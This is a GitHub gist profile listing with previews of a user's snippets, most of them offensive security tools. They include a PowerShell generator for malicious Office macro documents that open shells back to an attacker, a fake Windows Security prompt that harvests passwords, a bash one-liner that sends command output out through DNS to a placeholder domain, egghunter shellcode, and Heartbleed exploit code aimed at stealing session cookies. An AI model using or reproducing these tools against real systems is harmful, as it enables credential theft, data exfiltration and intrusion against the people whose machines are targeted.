Skip to content

Instantly share code, notes, and snippets.

View luca-m's full-sized avatar

lucam luca-m

View GitHub Profile
@luca-m
luca-m / gen_macro_doc.ps1
Created January 24, 2015 10:16
Generate a malicious Microsoft Office document with a specified payload and persistence method (https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1)
#Coded by Matt Nelson (@enigma0x3)
<#
.SYNOPSIS
Standalone Powershell script that will generate a malicious Microsoft Office document with a specified payload and persistence method
.DESCRIPTION
This script will generate malicious Microsoft Excel Documents that contain VBA macros. This script will prompt you for your attacking IP
(the one you will receive your shell at), the port you want your shell at, and the name of the document. From there, the script will then
display a menu of different attacks, all with different persistence methods. Once an attack is chosen, it will then prompt you for your payload type
(Only HTTP and HTTPS are supported).
#Coded by Matt N.
#Twitter: @enigma0x3
#Blog: www.enigma0x3.wordpress.com
function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
(LINE=`id`;domain=yourdomain.com;var=;while IFS= read -r -n 1 char;do var+=$(printf %02X "'${char:-$'\n'}'");done<<<$LINE;e=60;l=${#var};for((b=0;b<l;b+=60))do>&/dev/udp/$RANDOM.$b.${var:$b:$e}.$domain/53 0>&1;done;>&/dev/udp/$RANDOM.theend.$domain/53 0>&1)
@luca-m
luca-m / omelette_egghunter_win
Created October 22, 2014 21:10
egghunt shellcode for win32
/*
* Optimized egghunt shellcode for win32 (32 bytes)
*
* Credits: http://www.hick.org/~mmiller/shellcode/win32/egghunt_syscall.c
*
* Description
*
* This code works by abusing an NT syscall (NtAccessCheckAndAuditAlaram)
* whereby it uses the kernel to validate whether or not a set of addresses
* is valid, and, if it is, whether or not they match the 8 byte egg we're
@luca-m
luca-m / gist:b9ff7bbdd8eb12da4a36
Created October 18, 2014 14:58
radare2 cheatsheet
# ----------------------------------------------------------------------
# Radare2
# (Quick n'dirty) Cheat-Sheet
# [email protected]
# ----------------------------------------------------------------------
# See http://radare.org/doc/html/contents.html for details
# ----------------------------------------------------------------------
# MISC
@luca-m
luca-m / virustotal_upload
Created May 26, 2014 19:01
Upload a sample to VirusTotal and pretty print the report. All in a handy alias.
#
# Upload a sample to VirusTotal and pretty print the report. All in a handy alias.
#
# Dependecies:
#
# * python > 2.7
# * pip install Pygments==1.4
# * curl
# * VirusTotal API key
#
#!/usr/bin/env python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
#!/usr/bin/python
# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis ([email protected])
# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import select
# intervals
equal.count(seq(0,10,1),4)
#opencv
import cv2.cv as cv
import cv2
import numpy as np
def build_filters():
filters = []
ksize = 31
for theta in np.arange(0, np.pi, np.pi / 32):